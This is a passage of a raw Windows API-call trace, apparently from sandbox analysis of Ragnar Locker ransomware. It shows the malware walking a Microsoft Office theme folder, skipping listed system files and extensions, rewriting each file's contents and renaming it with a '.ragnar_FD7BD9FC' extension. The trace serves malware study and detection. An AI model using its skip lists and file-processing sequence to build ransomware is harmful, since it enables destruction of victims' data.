lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.617] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.617] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.617] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.617] GetProcessHeap () returned 0x580000 [0093.617] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.617] CloseHandle (hObject=0x10c) returned 1 [0093.617] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" [0093.617] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.ragnar_FD7BD9FC" [0093.617] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0093.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.618] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Hardcover.xml" | out: lpString1="Hardcover.xml") returned="Hardcover.xml" [0093.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml") returned=".xml" [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="autorun.inf") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="boot.ini") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootfont.bin") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootsect.bak") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr.efi") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgfw.efi") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="desktop.ini") returned 1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="iconcache.db") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntldr") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat.log") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.ini") returned -1 [0093.618] lstrcmpiW (lpString1="Hardcover.xml", lpString2="thumbs.db") returned -1 [0093.618] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.619] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml")) returned 0x20 [0093.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.619] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.619] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.619] GetProcessHeap () returned 0x580000 [0093.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.619] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.621] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.621] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.621] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.621] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.622] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.622] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.622] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.622] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.622] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.622] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.622] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.622] GetProcessHeap () returned 0x580000 [0093.622] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.622] CloseHandle (hObject=0x10c) returned 1 [0093.622] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" [0093.622] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.ragnar_FD7BD9FC" [0093.622] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0093.623] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.623] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Horizon.xml" | out: lpString1="Horizon.xml") returned="Horizon.xml" [0093.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml") returned=".xml" [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="autorun.inf") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="boot.ini") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootfont.bin") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootsect.bak") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgr") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgr.efi") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgfw.efi") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="desktop.ini") returned 1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="iconcache.db") returned -1 [0093.623] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntldr") returned -1 [0093.624] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.dat") returned -1 [0093.624] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.dat.log") returned -1 [0093.624] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.ini") returned -1 [0093.624] lstrcmpiW (lpString1="Horizon.xml", lpString2="thumbs.db") returned -1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.624] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml")) returned 0x20 [0093.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.625] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=926) returned 1 [0093.625] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x395, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.625] GetProcessHeap () returned 0x580000 [0093.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.625] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.626] VirtualAlloc (lpAddress=0x0, dwSize=0x39e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.626] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.626] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.626] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39e, lpOverlapped=0x0) returned 1 [0093.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.627] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39e, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.627] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39e, lpOverlapped=0x0) returned 1 [0093.627] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x39e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.627] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.627] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.627] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.627] GetProcessHeap () returned 0x580000 [0093.627] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.627] CloseHandle (hObject=0x10c) returned 1 [0093.628] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" [0093.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.ragnar_FD7BD9FC" [0093.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.628] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0093.628] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.628] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Median.xml" | out: lpString1="Median.xml") returned="Median.xml" [0093.628] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml") returned=".xml" [0093.628] lstrcmpiW (lpString1="Median.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.628] lstrcmpiW (lpString1="Median.xml", lpString2="autorun.inf") returned 1 [0093.628] lstrcmpiW (lpString1="Median.xml", lpString2="boot.ini") returned 1 [0093.628] lstrcmpiW (lpString1="Median.xml", lpString2="bootfont.bin") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="bootsect.bak") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgr") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgr.efi") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgfw.efi") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="desktop.ini") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="iconcache.db") returned 1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="ntldr") returned -1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.dat") returned -1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.dat.log") returned -1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.ini") returned -1 [0093.629] lstrcmpiW (lpString1="Median.xml", lpString2="thumbs.db") returned -1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.629] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml")) returned 0x20 [0093.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.630] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.630] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.630] GetProcessHeap () returned 0x580000 [0093.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.630] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.631] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.631] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.631] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.631] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.632] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.632] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.632] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.632] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.632] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.632] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.632] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.632] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.632] GetProcessHeap () returned 0x580000 [0093.632] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.632] CloseHandle (hObject=0x10c) returned 1 [0093.633] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 